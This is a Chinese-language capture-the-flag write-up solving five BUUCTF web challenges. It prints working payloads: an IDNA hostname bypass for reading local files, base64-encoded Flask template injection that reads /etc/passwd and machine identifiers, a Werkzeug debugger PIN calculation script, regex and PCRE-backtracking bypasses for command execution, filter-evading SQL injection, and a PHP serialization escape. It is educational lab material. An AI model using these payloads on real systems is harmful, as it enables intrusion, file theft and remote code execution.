BUUCTF-WEB(61-65)

[SUCTF 2019]Pythonginx

参考:[SUCTF 2019]Pythonginx 1_cve-2019-9636-CSDN博客

[SUCTF 2019]Pythonginx - 春告鳥 - 博客园 (cnblogs.com)

url中的unicode漏洞引发的域名安全问题 - 先知社区 (aliyun.com)

打开看一下源代码吧


@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"


    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host


    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

我们应该绕过前面两个if,进入第三个if,然后去读取文件

然后就是利用了特殊字符去进行绕过,详情可以看一下参考的链接、

需要构造一个特殊字符,师傅的脚本里面也都有。

先查看一下passwd的文件

/getUrl?url=file://suctf.cℂ/../../../../../etc/passwd

然后提示是nginx服务器,我们查看一下nginx服务器的配置文件,然后查看到了flag文件

/getUrl?url=file://suctf.cℂ/../../../../../usr/local/nginx/conf/nginx.conf

/getUrl?url=file://suctf.cℂ/../../../../../usr/fffffflag

[GYCTF2020]FlaskApp

参考:
[记一次Flask模板注入学习 GYCTF2020]FlaskApp - seven昔年 - 博客园 (cnblogs.com)

一般看到都觉得是模板注入,因为她有base64解密页面,那我们就在base64解密页面搞

我们输入payload,记得base64加密一下

{{7*7}}
e3s3Kjd9fQ==

这里回显了

猜测可能是waf阻拦了,我们换一个

{{7+7}}
e3s3Kzd9fQ==

回显14,那就是flask的模板注入问题

然后我就想看一下基类下面的类,但是我发现没回显,我也不太清楚,ssti也是不太熟悉

{{''.__class__.__bases__[0].__subclasses__()}}
e3snJy5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKCl9fQ==

这里没有回显我就开始参考师傅们的博客了

hint里发现

这里是构造了读取文件的payload

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvZXRjL3Bhc3N3ZCcpLnJlYWQoKX19

然后的确可以读取之后,不知道flag在哪,所以要通过获取pin码打开python shell

可以先了解一下pin吧深入浅出Flask PIN - 蚁景网安实验室 - SegmentFault 思否

关于ctf中flask算pin总结_ctf:flask-CSDN博客

pin码生成要六要素
1.username 在可以任意文件读的条件下读 /etc/passwd进行猜测
2.modname 默认flask.app
3.appname 默认Flask
4.moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id 机器码 这个待会细说,一般就生成pin码不对就是这错了
————————————————
原文链接:https://blog.csdn.net/qq_35782055/article/details/129126825

这里username应该就是flaskweb

然后modname是flask.app

然后appname是Flask

接下来拿moddir,通过报错注入得到,我们在解密页面输入不是base64加密的数据去解密,就会产生报错

发生报错后,发现了app.py的路径

/usr/local/lib/python3.7/site-packages/flask/app.py

然后读取/sys/class/net/eth0/address

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvc3lzL2NsYXNzL25ldC9ldGgwL2FkZHJlc3MnKS5yZWFkKCl9fQ==

得到uuidnode是 e2:32:31:55:37:09,转为十进制262220831274775

现在就只差这个machineid,对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。

对于docker机则读取/proc/self/cgroup:

我们获取一下machineid

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/machine-id').read()}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvZXRjL21hY2hpbmUtaWQnKS5yZWFkKCl9fQ==

然后得到machineid是1408f836b0ca514d796cbf8960e45fa1

开始使用计算pin的脚本

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.7/site-packages/flask/app.py',
]

private_bits = [
    '262220831274775',
    '1408f836b0ca514d796cbf8960e45fa1'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

算出的pin

111-678-665

然后在/console打开控制台输入pin值,进入交互式,输入

import os
os.popen('ls /').read()
os.popen('cat /this_is_the_flag.txt').read()

得到flag

flag{7c2ab388-06a5-44e8-9a31-c5cf028ef033}

[FBCTF2019]RCEService

参考:

[buuctf-web FBCTF2019]RCEService - AW_SOLE - 博客园 (cnblogs.com)

preg_match绕过方法总结 · HacKerQWQ's Studio

PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌 (leavesongs.com)

打开题目说是json格式,我们应该payload写成json格式

我们尝试一下

{"cmd":"ls"}

代码的确执行成功

然后这里贴一下源码吧

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

他这里是修改了环境变量了,修改至/home/rceservice/jail,所以只能使用绝对路径使用cat命令

然后preg_match只会匹配第一行,我们可以绕过preg_match绕过简单总结 - z2n3 - 博客园 (cnblogs.com)

看一下目录文件

?cmd={%0A"cmd":"ls /home/rceservice"%0A}

然后查看flag

?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

这边还有佬用PCRE回溯限制,附上脚本

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"'+"a"*(1000000) + '"}'
res = requests.post("http://e54bd70b-4ae8-4a5c-acbc-3b334763dc38.node5.buuoj.cn:81/", data={"cmd":payload})
print(payload)
print(res.text)

[WUSTCTF2020]颜值成绩查询

输入

1

回显100

后面输入

1 and 1=1

后面发现是过滤了空格,我们用/**/测试一下

1/**/and/**/1=1

然后

1/**/and/**/1=2

然后判断字段数

1/**/order/**/by/**/3 // 回显正常
1/**/order/**/by/**/4 // 回显错误

所以字段数为3,开始判断一下回显位置

-1/**/union/**/select/**/1,2,3

提示不存在,可能还有些被过滤了一些关键词

我们试试大小写绕过

-1/**/Union/**/Select/**/1,2,3

接下来爆数据库名:

-1/**/Union/**/Select/**/1,2,database()

爆表名:

-1/**/Union/**/Select/**/1,2,Group_concat(table_name)From/**/information_schema.tables/**/Where/**/table_schema='ctf'

爆列名

-1/**/Union/**/Select/**/1,2,Group_concat(column_name)From/**/information_schema.columns/**/Where/**/table_schema='ctf'/**/and/**/table_name='flag'

爆数据

-1/**/Union/**/Select/**/1,2,value/**/From/**/flag

1 And Extractvalue(1,Concat(0x7e,(Select database()),0x7e))

[0CTF 2016]piapiapia

参考:

[0CTF 2016]piapiapia WP(详细)_[0ctf 2016]piapiapia wp-CSDN博客

[BUUCTF-WEB 【0CTF 2016】piapiapia 1_0ctf 2016]piapiapia 1-CSDN博客

先尝试了sql注入,都失败了

没思路了扫一扫吧,我这边什么都没扫到,根据wp是扫到了

config.php index.php register.php

后面有发现是www.zip,源码泄露

config.php

profile.php

update.php

class.php

开始梳理可能存在漏洞的地方

在profile.php发现file_get_contents,可以进行文件读取

那profile又是哪里来的呢,他是有class.php里user类的show_profile的这个方法

这个方法先调用了user类的父类mysql类里面的filter类

这里是替换字符串中的单引号和反斜杠为下划线 ,并且替换多个字符串为hacker。
implode函数是表示把数组拼接起来,拼接符是 “|”

之后又调用了mysql类里面的select方法

数据是从数据库的表出来的,看看哪里进行插入数据,在mysql类里面的update方法

然后user类发现了这个方法的调用

接下来再看谁调用了user类里面的update_profile这个方法,在update.php找到

同时也看出来profile的值都有post赋值而来

这里开始分析,怎么利用漏洞

我们可以看到先判断了photo的大小,然后进行了md5加密,太难利用了

我们再看一下nickname这个参数

又在update.php有一个正则限制

然后就用数组进行一个绕过

但是数组绕过我,我们需要添加上一个}

nickname[]=where";}s:5:"photo";s:10:"config.php";}

这个时候,我们的nickname[]数组实际长度是39位,除了where,多出来了34位,所以我们需要用where构造34次,来补一下

最后的payload

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

分析完毕后,我们去注册页面创一个号

然后登陆进去,上传的时候抓包

修改一下

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

然后会有个链接,点击,查看源码,有一堆base64加密的数据

我们拿去解密,得到flag

热门相关:攻略初汉   婚婚欲睡:腹黑老公请节制   战国明月   腹黑大神:捡个萌宠带回家   你是我的难得情深